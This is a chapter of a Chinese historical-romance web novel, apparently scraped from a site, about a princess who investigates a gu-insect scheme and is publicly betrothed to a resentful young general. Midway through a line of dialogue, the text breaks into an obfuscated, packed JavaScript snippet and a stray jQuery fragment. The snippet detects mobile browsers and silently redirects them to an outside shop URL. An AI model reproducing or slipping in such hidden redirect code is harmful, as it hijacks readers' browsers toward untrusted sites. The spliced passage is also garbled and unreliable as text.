“往生堂的火灭了。”
听澜走进内书房禀报,殷沁梨本在看书,她翻书的动作顿了一下,抬头看她。
她道:“太医局的人还活着?”
“嗯,全都活着,说是再观察几日,若是没有出事,就放他们出宫。”
禳旱祈天大典之后,这五天里没有再死人,太医局里那些原本已经被蛊虫啃食的人也全都好好活着。
殷沁梨翻过一页书,端起手边的莲子茶喝了一口,茶汤凉凉的,很是可口,莲子更是煮透了,入口软糯。
她咽下去,把茶盏放回桌上,“嗯,知道了。”
殷崇琰最在意的果然还是禳旱祈天大典带来的影响。
所谓的蛊虫能延年益寿,只是他野心附赠的彩头。
她垂下眼看着书页上的字,眼睛扫过一行,又看向下一行,她不肯信邪,这几天疯狂翻看古书,只是不管翻看多少人结论都是一样的,上面记载的关于蛊虫的信息少之又少。
远南九寨,当真是神秘至极。
她扶额,“守了这么多天,一只蛊虫都没捉到?”
蛊店店主曾经说过,成虫是可以随意操控的,她猜测殷崇琰不会轻易动那些人,特意在太医局里安插了人日夜看守。
毕竟若要动手,便是在他精心搭建的“神迹”上捅窟窿,殷沁梨已经坏了他的好事,他定不会再打折扣。
听澜面露难色,摇头道:“没有。”
“方鬼也没有动作?”
“方鬼从未出过玄极殿。”
殷沁梨捏在茶盏上的手慢慢收紧,喃喃道:“这可真是奇了。”
安插进太医局的人送回来的记录册她翻过好几遍,那些进去的人一直都有身体被蛊虫缓慢啃食的迹象,可大典之后,所有人的状况全都停滞了,没有再恶化。
人是十二个时辰轮番盯着的,一只虫子都没有飞出来。
虫子难道还在他们的体内?
可若是还在体内,不进食难道不会死?
还是说怕打草惊蛇,打算等这些人到了宫外再动手?
殷沁梨的食指有一下没一下地叩着桌面,这是目前最说得通的方向。
她抬起眸子看向听澜:“告诉太医局的人继续盯着,这十几个人出宫之前,一天十二个时辰,必须有人一直在她们身边看守着,若是有一个人在他们眼前死了,他们知道后果。”
“是。”
“另外传信给外祖母,让她提前安排下去,这十几个人出宫后,不要惊动任何人,严防死守,一个苍蝇飞出来我都要知道。”
她还就不信了,这些成虫还能一直不进食。
“奴婢明白。”
听澜转身离开。
殷沁梨忽然道:“对了,若是有人有开始出现被啃食的迹象,就用使君子吊着他们的命。”
“是。”
听澜离开后,殷沁梨瘫在了后面的椅背上。
禳旱祈天大典之后,殷崇琰想要的实现了,可能因为真的下了雨,效果远远超出殷沁梨的想象。
殷沁梨已经不再仅仅只是“曦和公主”,她彻底成为了一个特别的存在,宫里关于她是什么仙转世的流言层出不穷。
很多事情都被拿出来编排,越传越邪乎。
只是也传出了很多版本,有人说皇帝才是真正求来雨的人,有人说她才是。
两派人各执一词,在宫墙内外悄悄传着。
甚至有人会在深夜,来曦和殿的正门前偷偷跪拜。
殷沁梨没有露面,她以“失血过多,需静养”为由,闭门谢客。
目的已经达成了,她不能再招摇过市,必须避开殷崇琰的锋芒。
只是顾宜宁和殷晟睿,他们两个人来得频率高得吓人,每天都来,也不说其他的,就是陪她吃饭,吃完饭就走。
“哗啦啦”,又下雨了。
钦天监递上了指婚的吉日。
锦棠快步走进来,躬身道:“殿下,时辰到了,墨小将军已经进宫了。”
殷沁梨放下手里的书,“更衣。”
雨后初晴,烈日当空,地上的水汽被晒得往上蒸。
空气又闷又湿,糊在皮肤上,惹得人难受。
她出了曦和殿,一路往午门走去。
来到午门前,日光从午门城楼上方倾泻下来,把门洞两侧的石狮镀成一层金色。
她一步一步踏上台阶,心中是难以抑制的欣喜,她终于等来这一天了。
她走到城楼上站定的时候,午门外已经站满了文武百官。
墨驰烈站在百官最前面的位置,穿着皇帝御赐的墨绿色纱织暗花妆花蟒衣,金线织出的蟒纹在日光下若隐若现。
他的背脊挺得笔直,头却低垂着,恭敬地候在那里。
礼官拿着圣旨,声音从午门上方传出,响彻整片广场:“奉天承运皇帝,诏曰:咨尔曦和长公主,淑慎由衷,柔明形外,敏慧夙成......”
殷沁梨站在城楼上,目光越过下面躬身的人群,落在墨驰烈身上。
她的视线无意间往旁边偏了一寸,正好扫到了墨衍之。他没有像其他官员那样低头躬身,反而微微抬着脸,目光不偏不倚地落在她的方向。
四目相对。
殷沁梨立马不动声色地把目光收了回来。
这个墨衍之心思重得很,她又有把柄在他手上,还是能离多远就离多远才是上策。
“武宁侯府孙墨驰烈,器识宏远,文武兼资,世勋之后,足堪良配。今特赐婚,授墨驰烈为驸马都尉,自今已后,宜准令式,借紫金鱼袋,于八月初一日完婚。”
八月初一,就还有十天。
看来殷崇琰这次气急了,这么着急将她嫁出去,难道他想对她动手了?
“允其开府建牙,食邑千户。尔夫妇其共承朕意,永谐琴瑟,绵延宗祧。钦此。”
随着礼官宣旨结束,墨驰烈跪了下去,额头抵在手背上:“臣,墨驰烈,叩谢圣恩。”
殷沁梨整顿好面上的表情,朝礼官伸出手:“圣旨给本宫吧。”
礼官犹豫了片刻,双手将圣旨递了上来。
殷沁梨接过去,卷好,转身走下城楼。
殷沁梨走到城楼下面的时候,墨驰烈已经到了。
她走到墨驰烈的身前停下,明显注意到墨驰烈的背僵了一下。
他没有抬头,只是伸出了双手。
殷沁梨从侧面观察到他的下颌线紧紧绷着,还有他的手,手背上有几道新鲜的划痕,有的结了薄痂,有的边缘还泛着浅红。
“你受伤了?”
“不劳公主殿下挂心。”墨驰烈的声音冷得像冬天的冰,连陌生人都不如。
这人气性还真大。
殷沁梨心里觉得有些好笑,面上没有露出来:“你还在生气?”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782514|207127||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
公主殿下折煞臣了,臣高兴还来不及。”
“抬头。”
墨驰烈顿了一下,慢慢抬起头来。他的脸上没什么表情,嘴唇抿着,下颌仍然绷着,眼睛沉沉地看过来,像是不愿意与殷沁梨扯上丝毫关系。
“墨晚怎么样了?”
“症状已经消失了。”墨驰烈又躬了一下身,动作比刚才更生硬,“多亏了公主殿下赐药。”
墨驰烈急于撇清和殷沁梨的关系,多说一句话一个字都不肯。
算了,这样倒也好。
她之前还总想着,墨驰烈会不会因为情爱之事耽误了心中理想。
这么看来,倒是她自作多情了。
她这挡了他的路,都要成为他的仇人了。
她将圣旨放在了墨驰烈的手中,“那就多多关照了,驸马。”
墨驰烈低着头不肯看殷沁梨,攥着圣旨的手却越握越紧,圣旨都被她握得“咯咯”响。
看来是气急了。
这人怎么这么有意思。
她又向前迈了一步,墨驰烈低着头,视野里忽然出现了一只缀着珍珠的鞋尖,他猛地向后退了半步。
殷沁梨见他退,就向前迈,直到将墨驰烈逼到墙边。
墨驰烈恼怒抬头,“殿下!”
“嗯。”殷沁梨憋着笑应了一声,尾音往上翘。
“您这是做什么!”
殷沁梨狡黠地笑着耸了一下肩,一副无辜的样子,“没干什么啊。”
墨驰烈盯着殷沁梨凑过来的脸,退无可退。
“殿下不是说过,”墨驰烈愤愤道:“不会再以讨好的方式出现在臣的面前了吗?”
殷沁梨歪头,发髻上的步摇跟着晃了晃,“我没有讨好你啊。”
“我只是......”她又往前凑了半寸,近到墨驰烈不得不偏了一下头才能避开她的视线,“......逗逗你。”
墨驰烈怒瞪着殷沁梨,眉头都拧了起来,紧抿着的嘴唇张开了一些,像一只想要龇牙的小狗。
“对于公主殿下来讲,”他的声音忽然沉了下去,脸上鲜活的表情一层一层蜕下,“臣到底是什么?”
殷沁梨的笑容凝固在嘴角。
“是一个玩物?还是一个宠物?”
墨驰烈垂下眉眼,嘲讽地笑了,“有什么区别呢?”
殷沁梨垂下眼,目光落在墨驰烈紧握圣旨的手上,心中顿时抽痛了一下。
她忍住翻涌的情绪,“初定礼见。”
转身大步离开。
墨驰烈抬眸,望着殷沁梨的背影,心中愤懑难以平息,烧得他快要死掉了。
直到她的身影完全消失,他才认命一般地收回视线。
他将圣旨收进怀中,转身朝另一个方向走去。
殷沁梨一路快步回曦和殿,直到跨进内殿门之后才放慢了脚步。
她走到书案前站定,大口地喘着气,直到气顺才开口,“刚才有人看到吧?”
听澜的声音从身后传来:“很多官员都看到了。”
“那就好。”
殷沁梨转过身来,“我要的东西,外祖父带来了吗?”
听澜从怀里掏出一卷明黄色的绢帛,双手递上。
殷沁梨接过来,指尖沿着封口的火漆摸了一下,完好无损。
她将那卷空白圣旨紧紧握于手中,“这样......就全都准备好了。”